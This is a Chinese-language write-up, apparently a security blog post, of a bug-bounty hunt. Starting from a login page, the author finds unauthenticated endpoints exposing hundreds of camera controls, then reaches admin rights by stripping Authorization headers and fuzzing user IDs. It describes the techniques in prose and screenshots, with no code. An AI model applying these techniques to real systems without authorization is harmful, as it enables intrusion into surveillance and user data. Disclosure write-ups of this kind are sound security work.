solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: translate3d(-5px, -5px, 0px);width: auto;"><span leaf="">从开局一个登录框到通用漏洞挖掘</span></span></h2><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8674698795180723" data-type="jpeg" data-w="830" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-imgfileid="100038429" src="https://wechat2rss.xlab.app/img-proxy/?k=490de691&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FjS2mB7OlsdVepqsRbeWlA8u7eGOh1VIYxGibicA8JU1iaLzYNsicWyQxyIDSOs57t6S9iaGwVbh1jNg1qyX4ibiciaSEdycXX2aSvwBmwp1GSzlI118%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">一般针对这种登录框的挖掘思路就是提取js文件的接口进行Fuzz测试，看是否存在未授权访问导致的信息泄露漏洞，以及是否有重置密码的接口、SQL注入、账号密码泄露、用户名枚举、弱口令等，这里我几乎跑了所有的js接口，并没看到什么爆红的数据包，但</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.37037037037037035" data-type="jpeg" data-w="1080" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-imgfileid="100038431" src="https://wechat2rss.xlab.app/img-proxy/?k=9cb0da10&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FjS2mB7OlsdW4Ijoo0TyWsqu76IWRhrkQC32knuBI0yTLQZPiaIA4ibju6OcdDPLlJ4DhiajEGdiaYZzNt3olLbTuib5bDVYPp8KChBJfBJhqaDlA%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">心里一喜，是否只要我得到userId值传进去，就可以getuserinfo得到用户敏感数据了？？当时还在想会不会泄露账户密码等信息，js里并未泄露该userid参数，我尝试了11111111 尝试了1 admin 等等 均未成功，于是我决定换个思路，查一下该系统互联网的相同资产。</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.6666666666666666" data-type="jpeg" data-w="1080" style=";" data-imgfileid="100038439" src="https://wechat2rss.xlab.app/img-proxy/?k=eb879a08&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FjS2mB7OlsdV4X93M3cEvJhKw6nypsZpIyLSqAQcVay1V7GA2CAxl2QbXln9ayEXhZvU5jjUDLmqLEib6X79K2xPJTYzhLSBZj2skqfb7p6bg%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;word-break: break-all;"><span leaf="">好嘛 这么多资产，我找个存在未授权或者弱口令的进去横向挖掘通用漏洞，或者看是否能够收集到该系统的备份源码进行代码审计，再不济收集到userId岂不美哉？ 此处省略横向打点过程，最终摸到了一个弱口令的系统，进去查看发现存在userid为xxxxxxxxxxxxxxxxxxxxx 很长一段。 发现再次请求该接口只能得到如下信息</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.6741573033707865" data-type="jpeg" data-w="1068" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-imgfileid="100038428" src="https://wechat2rss.xlab.app/img-proxy/?k=011742f0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FjS2mB7OlsdUzNxNZ0Kbc03xd19dfDiaeP0e71BwOZVW8YWGibzYp4wTIVlOIwdTcybdkEZH8zSe2DtMiaibTOKJ4JWSx1I3OTKxsNGXN30AA1B4%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">还是不够啊，于是我就对互联网那个存在弱口令的资产开始漏洞挖掘，后台某个功能点请求了一个新的js文件，这里我们称它为abcdindex.js 就是该js文件泄露了大量的路由接口拿来拼接测试，果不其然，</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.6453703703703704" data-type="jpeg" data-w="1080" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-imgfileid="100038430" src="https://wechat2rss.xlab.app/img-proxy/?k=edf6ddf7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FjS2mB7OlsdUFwCbILV8DIWfQPhep3nGwMcrmWg3dKrWWOZjwCp32iavNqC7LibLz8U80vnib0T4CuzVVZj33vC2uXdzicrk1GoUe5aD1kqgNA7M%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;word-break: break-all;"><span leaf="">发现该系统其实有多个子系统功能模块，每个mulu.json都给出了对应系统的API接口也就是BaseUrl和后台接口。拼接遍历，成功取得通用型未授权访问漏洞，某个接口泄露了大量的视频摄像头权限。贴一张厚码的图（大概几百多个摄像头调度权限）</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5388888888888889" data-type="jpeg" data-w="1080" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-imgfileid="100038435" src="https://wechat2rss.xlab.app/img-proxy/?k=082ee61f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FjS2mB7OlsdWI0MqRPo59Mvb6brWf1g8TP1hOIn9siaGvAArfqXCCGL0R90ADHGRoUvCcia3m3zhKwMrRFWLyM2ibVgILaiblK4FbT4TTAR7kmZY%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">提交该漏洞也是成功斩获高危</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.0712962962962963" data-type="jpeg" data-w="1080" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-imgfileid="100038433" src="https://wechat2rss.xlab.app/img-proxy/?k=cb0401e2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FjS2mB7OlsdWFOpLFYK5gfRIeRBksnIpsY19LfzYA5VfJez5nhJiaa2adFFOXd6x4UZBQDzcq4saGvDClS2QG4Z11kBMmrDCfa6KibhOImibNME%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">发现了那么多的隐藏接口，该漏洞肯定不能到此为止，于是继续开始挖掘。</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: auto;margin-right: auto;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: linear-gradient(to left, rgb(253, 213, 231), rgb(194, 226, 249));background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;align-items: unset;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(62, 62, 62);border-bottom-color: rgb(62, 62, 62);border-left-color: rgb(62, 62, 62);border-right-color: rgb(62, 62, 62);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: table;flex-direction: unset;float: unset;justify-content: unset;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;"><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;padding-top: 10px;padding-bottom: 10px;padding-left: 10px;padding-right: 10px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: translate3d(-5px, -5px, 0px);width: auto;"><span leaf="">逻辑缺陷导致鉴权缺失</span></span></h2><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">发现很多接口功能点均提示缺少userId  这种归为A类， A类的接口还需要提供数据库存在的用户id和绑定的租户Id即可实现越权查看该用户信息，但还有一些接口提示鉴权缺失，该接口这里称为B类，但发现只需讲数据包的B的Authorization: Bearer认证头删除即会提示A类的问题，只需添加也可绕过，所以这里对提取到的后台目录进行访问这里直接访问 如下：</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.44907407407407407" data-type="jpeg" data-w="1080" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-imgfileid="100038432" src="https://wechat2rss.xlab.app/img-proxy/?k=3d8fb4de&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FjS2mB7OlsdVtG4hcuHibyAspum6m2sg3xsQZOE0RQmmRpZs5Zja2e4LQAvjrcPEGZIiaD6op0hB93OibM4FOuFYvTsMibQeXytichHJeBP3fqAFU%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">空白页面，这里使用bp抓包对每一个后端交互的数据包进行认证头删除</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.41759259259259257" data-type="jpeg" data-w="1080" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-imgfileid="100038434" src="https://wechat2rss.xlab.app/img-proxy/?k=46ad5cc3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FjS2mB7OlsdUhfNP2ltSXsiazibgtq0fjYkniaLSKcnAyyjj7icJHJDW7qQDIlzd0Szmu9EhGjjArTrDkib8q4a72MwmWroKuR5FlribxtA5Sara0U%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">？？？？？？？不是你？</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100038438" data-ratio="0.975609756097561" style=";" data-type="jpeg" data-w="738" src="https://wechat2rss.xlab.app/img-proxy/?k=be143d38&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FjS2mB7OlsdUiaviaxoWStwYpzDoDPSicnYpmDrrorGZg0gJRlaNqDKXOfMKvZhgHszPjibyRnkicVDvPuAaVqdgwIyUUA9UemJ5zzVlTfW3YSswM%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">这么烂的系统没有权限就能难道本菜鸡吗，我拿前面收集到的用户ID 身份ID 进行参数FUZZ遍历 成功得到数据，舒服了。</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100038436" data-ratio="0.5555555555555556" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-type="jpeg" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=a7a85187&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FjS2mB7OlsdXJf6jicsBib5KibDxu95IIJaf7GNRvIcBBdrlGpTySrCicfxv4JdsnQEoVuZHHDelichicOyRL7deRZlW6AbMoJO1moj18aSu36EEOQ%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">其实还有很多人员管理等功能模块全部存在缺陷，也是成功绕过拿到该系统的后台管理员权限。斩获高危漏洞，这里根据日志泄露的用户名其实还发现了弱口令用户等多个漏洞，但还未来得及提交，项目就已经进行了关闭。</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.1787037037037037" data-type="jpeg" data-w="1080" style=";" data-imgfileid="100038437" src="https://wechat2rss.xlab.app/img-proxy/?k=630f2efb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FjS2mB7OlsdWkHIhB1DU9u4DgntdZyR0w2aKvNnGk2gcia9Fr4RF6krKAl2VxUdOR0MF9iaUx7bjCh8yjGzOeicznZiaYBD3jDZJRJSgibZAkb7ew%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">这两个漏洞相信有耐心的师傅其实都可以挖的到，本文仅是做个记录分享，但实际挖掘过程中需要去寻找的参数还是很多的，而且登录的默认管理用户名比较复杂，也是通过信息收集找了一波操作手册，像一般的SRC资产肯定都被大佬们挖掘的差不多了，几乎不会存在JS接口提取未授权的漏洞产生，但有时转变下思路，去打通杀，再根据0day漏洞或隐藏的文件接口针对性的对原始目标开展攻击，也许会发现到别人挖不到的漏洞，撕开不一样的口子。</span></p></div></div></div><div data-mid="" mpa-from-tpl="t" style="margin-bottom: 15px;max-width: 100%;font-size: 16px;white-space: normal;display: flex;justify-content: flex-start;align-items: center;flex-direction: column;z-index: 2;overflow-wrap: break-word !important;box-sizing: border-box !important;"><div data-mid="" mpa-from-tpl="t" style="padding: 2px;max-width: 100%;background: rgb(255, 255, 255);border-radius: 13px;border-width: 1px;border-style: solid;border-color: rgb(45, 133, 224);overflow-wrap: break-word !important;box-sizing: border-box !important;"><div data-mid="" mpa-from-tpl="t" style="padding-right: 24px;padding-left: 24px;max-width: 100%;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;border-radius: 11px;border-width: 1px;border-style: dotted;border-color: rgb(45, 133, 224);text-align: center;overflow-wrap: break-word !important;box-sizing: border-box !important;"><p data-mid="" style="max-width: 100%;font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(45, 133, 224);line-height: 22px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf="">往期推荐</span></p></div></div></div><div data-mid="" mpa-from-tpl="t" style="margin-bottom: 0px;max-width: 100%;font-size: 16px;white-space: normal;display: flex;justify-content: flex-start;align-items: center;flex-direction: column;overflow-wrap: break-word !important;box-sizing: border-box !important;"><div data-mid="" mpa-from-tpl="t" style="max-width: 100%;width: 474px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><div data-mid="" mpa-from-tpl="t" style="padding: 14px 8px 2px;max-width: 100%;width: 474px;background: rgb(255, 255, 255);border-radius: 5px;border-width: 1px;border-style: solid;border-color: rgb(74, 138, 218);overflow-wrap: break-word !important;box-sizing: border-box !important;"><div data-mid="" mpa-from-tpl="t" style="padding: 3px;max-width: 100%;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;width: 456px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><div data-mid="" mpa-from-tpl="t" style="padding-right: 12px;padding-left: 12px;max-width: 100%;width: 450px;text-align: center;overflow-wrap: break-word !important;box-sizing: border-box !important;"><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247516589&amp;idx=1&amp;sn=107da3b45e88255f240504d033ebde7f&amp;scene=21#wechat_redirect" textvalue="TscanPlus-一款红队自‍动化工具" data-itemshowtype="0" linktype="text" data-linktype="2">TscanPlus-一款红队自动化工具</a></span></p><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link" target="_blank" style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247499902&amp;idx=1&amp;sn=59cba8d980b4ecb0deefff99edaabd4d&amp;chksm=ce5de21ff92a6b09a8972a0144557b0099e443aa8e018b17151c816fc7f08f3615ecb22617fc&amp;scene=21#wechat_redirect" textvalue="潮影在线免杀平台上线了" data-itemshowtype="0" linktype="text" data-linktype="2">潮影在线免杀平台上线了</a></span></p><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link" target="_blank" style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247498466&amp;idx=1&amp;sn=085c15679436dedb06a179ca8d47951a&amp;chksm=ce5dd883f92a5195ef74ac517741f6d3da0da40b5501d72016e52cb70344904bb85b8aef65ba&amp;scene=21#wechat_redirect" textvalue="自动化渗透测试工具开发实践" 